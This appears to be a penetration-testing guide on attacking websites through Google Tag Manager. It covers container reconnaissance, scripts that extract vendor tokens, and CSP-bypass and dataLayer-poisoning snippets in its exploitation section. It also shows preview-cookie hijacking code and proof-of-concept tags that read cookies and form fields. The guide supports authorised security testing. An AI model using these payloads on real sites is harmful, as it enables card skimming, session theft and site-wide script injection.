Skip to main content
CWECWE-94, CWE-693
WSTGWSTG-CLNT-02, WSTG-INFO-02, WSTG-CONF-12
MITRE ATT&CKT1059.007, T1189
CVSS Range3.1-9.6
Toolscurl, nuclei
Difficulty🟑 intermediate

Google Tag Manager Container Injection

Test for Google Tag Manager vulnerabilities by extracting container IDs, fetching the public container config, analyzing Custom HTML tags and dataLayer for PII leakage, and demonstrating arbitrary JavaScript execution via GTM's trusted domain to bypass CSP and WAF protections.

Quick Reference​

AspectDetails
Attack typePassive recon + client-side injection via trusted third-party
TargetGTM container configs, dataLayer, Custom HTML tags, CSP policies
TechniqueContainer ID extraction, public config fetch, dataLayer inspection, JS injection via GTM
Key CWECWE-94 (Improper Control of Code Generation), CWE-79 (XSS), CWE-200 (Information Exposure), CWE-693 (Protection Mechanism Failure)
Key insightGTM is a force multiplier, not usually the entry point. It requires a companion vulnerability (XSS, CSRF, credential compromise) but then provides a trusted, stealthy, site-wide JS injection channel that bypasses CSP, WAFs, code review, and CI/CD pipelines.

Phase 1: Container ID Extraction​

The container ID (GTM-[A-Z0-9]{4,8}) is the key to the entire attack surface. It appears in predictable locations and requires zero authentication.

Page Source Scan​

# Extract GTM IDs from page source (covers inline snippet, noscript iframe, and script src)
curl -s "https://TARGET/" | grep -oP 'GTM-[A-Z0-9]{4,8}' | sort -u

The ID appears in three locations in the standard GTM snippet:

  1. The inline bootstrap IIFE (last argument): })(window,document,'script','dataLayer','GTM-XXXXXX')
  2. The <noscript> iframe: googletagmanager.com/ns.html?id=GTM-XXXXXX
  3. Direct script tag: googletagmanager.com/gtm.js?id=GTM-XXXXXX

Edge Cases​

CaseHandling
ID loaded from a JS variableRender page in headless browser, intercept requests to googletagmanager.com
Server-side GTM (first-party proxy)Script src points to e.g. metrics.example.com/gtm.js β€” regex on ID format still works
GTM only on specific pagesCrawl /login, /checkout, /cart, /signup in addition to root
Multiple containersCollect all matches β€” each is a separate attack surface
Custom dataLayer nameNote the l parameter in the snippet (e.g. &l=myDataLayer) β€” needed for exploitation

Key Pages to Check​

GTM is typically loaded site-wide via a global header. Prioritize pages with sensitive inputs:

# Check key pages for GTM presence
for page in "/" "/login" "/checkout" "/cart" "/signup" "/account" "/contact" "/search"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${page}")
ids=$(curl -s "https://TARGET${page}" | grep -oP 'GTM-[A-Z0-9]{4,8}' | sort -u | tr '\n' ',')
echo "[${code}] ${page} β†’ ${ids:-none}"
done

Phase 2: Container Config Extraction​

A single unauthenticated GET request returns the full container configuration β€” all tags, triggers, variables, vendor endpoints, and Custom HTML source code.

Fetch the Blueprint​

# Fetch and save container config (public, no auth needed)
curl -s "https://www.googletagmanager.com/gtm.js?id=GTM-XXXXXX" -o container.js

# Extract readable JSON structure (between the first [ and matching ])
# The config is embedded as a JavaScript object in the response

What the Config Reveals​

The container config is a structured JavaScript object containing:

  • Complete tag inventory β€” every tracking tag, Custom HTML tag, and their full source code
  • Vendor account credentials β€” Google Ads conversion IDs/labels, Facebook Pixel IDs, LinkedIn Partner IDs, CRM tokens, ad platform pixel IDs
  • Data layer variable map β€” every key the container reads, revealing what data flows through the dataLayer (including PII fields)
  • Trigger URL patterns β€” reveals site page architecture without crawling (checkout paths, login pages, admin panels)
  • Custom HTML tag code β€” complete source code of every custom script

Automated Analysis​

# Check for suspicious patterns in Custom HTML tags
grep -oP 'vtp_html":"[^"]*' container.js | while read -r tag; do
# Decode unicode escapes
decoded=$(echo "$tag" | sed 's/\\u003c/</g; s/\\u003e/>/g; s/\\u0022/"/g; s/\\u0026/\&/g; s/\\n/\n/g')
echo "--- Custom HTML Tag ---"
echo "$decoded"
echo ""
done

# Red flags in Custom HTML tags
echo "=== Red Flags ==="
echo "eval/Function usage:"
grep -c 'eval\|Function(' container.js
echo "Base64 decoding:"
grep -c 'atob\|btoa' container.js
echo "WebSocket usage:"
grep -c 'WebSocket' container.js
echo "Form field selectors (skimmer indicators):"
grep -c 'cc.number\|cc.cvc\|card.number\|billing\|payment' container.js
echo "External script loading:"
grep -c 'createElement.*script\|\.src\s*=' container.js

Extract Vendor Credentials​

# Parse common vendor IDs from container config
echo "Google Ads IDs:"
grep -oP 'AW-[0-9]+' container.js | sort -u
echo "Facebook Pixel IDs:"
grep -oP '"[0-9]{15,}"' container.js | sort -u
echo "LinkedIn Partner IDs:"
grep -oP '"[0-9]{5,8}"' container.js | head -10
echo "Generic API keys/tokens:"
grep -oiP '(api.?key|token|secret|auth)[^"]*":\s*"[^"]{10,}"' container.js

Phase 3: Page Source Analysis​

Supplement the container blueprint with page-level analysis.

Security Header Check​

# Check CSP and security headers
curl -sI "https://TARGET/" | grep -iE "content-security-policy|x-frame-options|x-content-type-options|strict-transport"

# Specifically check if GTM is in CSP allowlist
curl -sI "https://TARGET/" | grep -i "content-security-policy" | grep -oP "script-src[^;]*"

Key CSP findings:

  • *.googletagmanager.com in script-src = GTM is a trusted script source
  • unsafe-inline present = any GTM Custom HTML tag can execute inline JS
  • unsafe-eval present = eval-based obfuscation possible
  • No nonce = GTM scripts trusted without per-request verification

DataLayer Inspection​

DataLayer contents are visible in the page source and accessible to all JavaScript on the page, including every GTM tag.

// In browser console or headless browser
// Dump current dataLayer contents
console.log(JSON.stringify(window.dataLayer, null, 2));

// Monitor new dataLayer pushes
var origPush = window.dataLayer.push;
window.dataLayer.push = function() {
console.log('[dataLayer push]', JSON.stringify(arguments));
return origPush.apply(this, arguments);
};

PII fields to look for in dataLayer:

  • email, userEmail, user_email
  • userId, user_id, customerId
  • phone, phoneNumber
  • firstName, lastName, name
  • sessionId, sessionToken
  • orderId, orderTotal, transactionId

DataLayer PII is a standalone finding β€” no exploitation required. Every third-party tag loaded via GTM can read these values.

Script Inventory​

# List all external scripts on the page
curl -s "https://TARGET/" | grep -oP 'src="[^"]*\.js[^"]*"' | sort -u

# Check for SRI (Subresource Integrity)
curl -s "https://TARGET/" | grep -c 'integrity='
# Zero integrity attributes = no protection against compromised vendor CDNs
# Note: GTM cannot use SRI by design, so its absence on gtm.js is expected

# Check consent/cookie banner load order
curl -s "https://TARGET/" | grep -oP '<script[^>]*src="[^"]*"' | head -20
# Scripts loading BEFORE the consent SDK = pre-consent firing

WAF and Defense Fingerprinting​

# Fingerprint WAF from response headers
curl -sI "https://TARGET/" | grep -iE "server:|x-cdn:|cf-ray|x-akamai|x-amzn|x-sucuri|incap_ses"

# Check for client-side integrity monitoring
curl -s "https://TARGET/" | grep -oiP '(akamaized\.net/pim|jscrambler|px-cdn\.net|datadome|feroot)'

Phase 4: Exploitation​

GTM is a force multiplier β€” it requires a companion vulnerability but then provides a trusted, stealthy, site-wide JS injection channel.

Prerequisite: Companion Vulnerability​

GTM exploitation typically chains with one of:

  • XSS β€” reflected or stored XSS lets you execute code that interacts with GTM
  • CSRF in GTM plugin β€” WordPress/Drupal GTM plugins have had CSRF vulns (CVE-2018-1000506, CVE-2025-31683) allowing settings injection
  • Credential compromise β€” compromised GTM account = direct tag injection
  • SQL injection β€” Magento/WooCommerce sites store GTM snippets in CMS DB blocks

CSP Bypass via GTM​

When the target's CSP allowlists googletagmanager.com (which it must for GTM to function), any XSS can load scripts through this trusted channel:

// If you have XSS and CSP blocks direct script execution,
// but allows googletagmanager.com:

// Option 1: Inject a GTM container snippet pointing to attacker-controlled container
var s = document.createElement('script');
s.src = 'https://www.googletagmanager.com/gtm.js?id=GTM-ATTACKER';
document.head.appendChild(s);
// WAF sees legitimate gtm.js request, CSP allows it

// Option 2: Poison the dataLayer to trigger existing tags maliciously
dataLayer.push({'event': 'custom_trigger', 'payload': '<img src=x onerror=alert(1)>'});

DataLayer Poisoning​

If the site uses GTM triggers based on dataLayer events, injected data can trigger unintended tag execution:

// Trigger custom events that may fire tags
dataLayer.push({'event': 'purchase', 'transactionId': 'INJECTED', 'value': '0.01'});
dataLayer.push({'event': 'login', 'method': 'injected'});
dataLayer.push({'event': 'form_submit', 'formId': 'contact'});

// If a tag reads a dataLayer variable and writes to a backend (CRM, analytics),
// the injected data flows through the tag into the backend

Preview Mode Abuse​

GTM preview mode loads an unpublished draft container. Via XSS, force the victim's browser into preview mode:

// Set preview cookies via XSS to load attacker's draft container
document.cookie = "gtm_debug=x;path=/";
document.cookie = "gtm_auth=ATTACKER_AUTH_TOKEN;path=/";
document.cookie = "gtm_preview=ATTACKER_DRAFT_ID;path=/";
// On next page load, victim loads the unpublished (malicious) container

Escalation: Reflected XSS to Stored XSS via GTM​

Reflected XSS (entry point)
β”‚
β”œβ”€β†’ Enumerate GTM container (public, no auth)
β”‚
β”œβ”€β†’ Path A: Steal GTM admin session β†’ Publish malicious tag β†’ Stored XSS for all visitors
β”œβ”€β†’ Path B: dataLayer β†’ Tag β†’ Backend (CRM/CDP) β†’ Stored XSS when backend renders data
β”œβ”€β†’ Path C: Set preview cookies β†’ Load unpublished malicious container
└─→ Path D: Steal vendor tokens from container β†’ Poison vendor data β†’ Stored XSS via vendor

Critical dependency: Paths B–D depend on what the container is configured to do. Minimal setups (GA pageviews only) offer little. Enterprise sites with dozens of tags shuttling data to backends offer many persistence points.

Phase 5: Proof of Concept​

Canary Tag (Proves Arbitrary JS Execution)​

If you have GTM admin access (via credential compromise or CSRF), publish this Custom HTML tag to prove arbitrary JavaScript execution on all pages:

<script>
console.log('[PENTEST] GTM Custom HTML executed', {
timestamp: new Date().toISOString(),
location: window.location.href,
cookies: document.cookie.length + ' chars',
dataLayer: window.dataLayer
});
document.title = '[GTM-INJECTED] ' + document.title;
</script>

This demonstrates:

  • Arbitrary JS runs on every page of the site
  • Full access to cookies (if not HTTPOnly), DOM, localStorage
  • Code deployed via GTM bypasses code review, CI/CD, and most monitoring
  • Title change provides visible proof without destructive impact

Cookie/Token Access PoC​

// Demonstrate access to sensitive client-side data
var findings = {
cookies: document.cookie,
localStorage: Object.keys(localStorage),
sessionStorage: Object.keys(sessionStorage),
dataLayer: window.dataLayer,
forms: Array.from(document.querySelectorAll('input')).map(function(i) {
return {name: i.name, type: i.type, id: i.id};
})
};
console.warn('[PENTEST] Accessible sensitive data:', JSON.stringify(findings, null, 2));

Form Interception PoC (Non-Destructive)​

// Log form submissions β€” demonstrates e-skimmer capability without exfiltration
document.addEventListener('submit', function(e) {
var fields = {};
e.target.querySelectorAll('input').forEach(function(input) {
if (input.type !== 'hidden') {
fields[input.name || input.id] = input.type + ':' + input.value.length + ' chars';
}
});
console.warn('[PENTEST] Form intercepted by GTM tag:', {
action: e.target.action,
fields: fields,
note: 'A real skimmer would exfiltrate this data to an attacker-controlled server'
});
});

Assess Impact​

Use these levels to classify the severity of your finding.

Level 1: Information Disclosure (Low)​

Criteria: Container ID exposed and public config reveals non-sensitive metadata (tag inventory, page architecture).

Evidence required: Container ID, fetched config showing tag list and trigger patterns.

Example: "Container GTM-XXXXXX is publicly readable. Config reveals 15 tags, 8 vendor integrations, and site architecture including /admin, /checkout, /api paths."

Level 2: Sensitive Data Exposure (Medium)​

Criteria: DataLayer contains PII, vendor credentials exposed in container config, or CSP allows GTM as script source without nonce.

Evidence required: DataLayer dump showing PII fields, or container config showing API keys/tokens, or CSP header analysis.

Example: "DataLayer pushes user email, phone, and order details on checkout page. These values are readable by all 12 third-party tags loaded via GTM. CSP includes unsafe-inline and allowlists *.googletagmanager.com without nonce."

Level 3: Demonstrated Script Execution (High)​

Criteria: Arbitrary JavaScript execution demonstrated via GTM β€” either through CSP bypass, dataLayer poisoning triggering unintended behavior, or Custom HTML tag injection.

Evidence required: Console output or DOM change proving code execution, full attack chain documentation.

Example: "XSS on /search combined with GTM CSP bypass allows loading attacker-controlled GTM container. JavaScript executes in the context of the target domain, accessing cookies and DOM."

Level 4: Site-Wide Compromise (Critical)​

Criteria (any of): E-skimmer injection capability on checkout/login pages, credential/payment data exfiltration path demonstrated, full container hijacking, stored XSS via GTM affecting all visitors.

Evidence required: Full attack chain from initial access to demonstrated data capture capability, proof that payment/credential fields are accessible DOM elements (not processor-hosted iframes).

Example: "Compromised GTM account used to publish Custom HTML tag. Tag executes on all pages including checkout. Payment form uses direct DOM input fields (not Stripe Elements), allowing the tag to read card numbers. Demonstrated form interception capturing field names and value lengths."

Common Pitfalls and False Positives​

Container ID exposure alone is informational, not a vulnerability. The ID is public by design β€” it's in the page source of every page using GTM. The finding is what the container config reveals and what can be done with it.

Hosted payment iframes block GTM access. If the site uses Stripe Elements, Braintree hosted fields, or similar processor-hosted iframes, GTM tags cannot read payment card data due to same-origin policy. Check whether payment inputs are direct DOM elements or processor iframes before claiming e-skimmer risk.

GTM cannot use SRI by design. The absence of integrity attributes on gtm.js is expected behavior, not a finding.

DataLayer PII may be intentional. Some sites deliberately push user data to the dataLayer for analytics. The finding is when this data is accessible to untrusted third-party tags, or when consent is not properly enforced.

Preview mode requires auth tokens. GTM preview cookies need valid gtm_auth and gtm_preview values. These are not guessable β€” they must be obtained via XSS on a GTM admin or leaked in source code.

Real-World Cases​

CampaignTechniqueScale
GrelosGTM (2020–ongoing)Injected own GTM container via Magento SQLi/RCE, loaded skimmer over WebSocket300+ e-commerce sites
ATMZOW (2015–present)Embedded skimmer directly in victim's GTM Custom HTML tags, multi-layer Base64 obfuscation165,000+ stolen cards
Magento GTM Skimmer (Feb 2025)Malware in CMS database, not filesystem β€” invisible to file integrity monitoring3–6 confirmed sites
OpenCart Mass Compromise (Jul 2025)Payload disguised as gtm.js, swapped checkout forms with cloned look-alikesThousands of stores
Metronet Tag Manager CSRF (CVE-2018-1000506)WordPress plugin accepted GTM settings without CSRF nonce β†’ stored XSSAny site using plugin

Tools​

curl (Primary)​

Two HTTP requests yield the full blueprint:

# Step 1: Extract container ID from target
curl -s "https://TARGET/" | grep -oP 'GTM-[A-Z0-9]{4,8}' | sort -u

# Step 2: Fetch full container config
curl -s "https://www.googletagmanager.com/gtm.js?id=GTM-XXXXXX" -o container.js

Browser DevTools​

For dataLayer inspection and runtime analysis:

  1. Console: JSON.stringify(window.dataLayer, null, 2) β€” dump dataLayer
  2. Network tab: Filter by googletagmanager.com β€” see all GTM requests
  3. GTM Preview mode: Append ?gtm_debug=1 or use Tag Assistant β€” see tag firing order

nuclei​

# Check for GTM presence and known vulnerable GTM plugins
nuclei -u "https://TARGET/" -t technologies/google-tag-manager-detect.yaml
nuclei -u "https://TARGET/" -t cves/ -tags wordpress,gtm

Prioritization​

Test these first (highest standalone value)​

  1. Container config extraction and analysis β€” zero-auth, zero-interaction passive recon. Every site with GTM is testable. Yields standalone findings (PII leakage, exposed credentials, consent violations) plus maps the entire attack surface.
  2. DataLayer PII leakage β€” dump window.dataLayer on login, checkout, and account pages. PII flowing to third-party tags is a privacy/compliance finding requiring no exploit.
  3. CSP analysis for GTM bypass potential β€” check if CSP allowlists *.googletagmanager.com with unsafe-inline. If so, any XSS finding on the site can be escalated via GTM.

Test these if time permits​

  1. Custom HTML tag code review β€” analyze all Custom HTML tags in the container config for obfuscated code, external script loading, or suspicious patterns.
  2. DataLayer poisoning β€” requires XSS as a companion. Test if injected dataLayer events trigger tags that write to backends.
  3. GTM plugin CSRF β€” if the site uses WordPress/Drupal GTM plugins, test for CSRF on settings endpoints.

Skip if​

  • No GTM container ID found on any page
  • Site uses a different tag manager (Adobe Launch, Tealium iQ) β€” similar concepts apply but different tooling needed
  • Container config shows only a basic GA pageview tag with no Custom HTML β€” attack surface is minimal

Asset criticality​

Prioritize by data sensitivity: checkout pages (payment data) > login pages (credentials) > account pages (PII) > marketing pages (analytics only). GTM on a checkout page with direct DOM payment fields is always a critical finding path.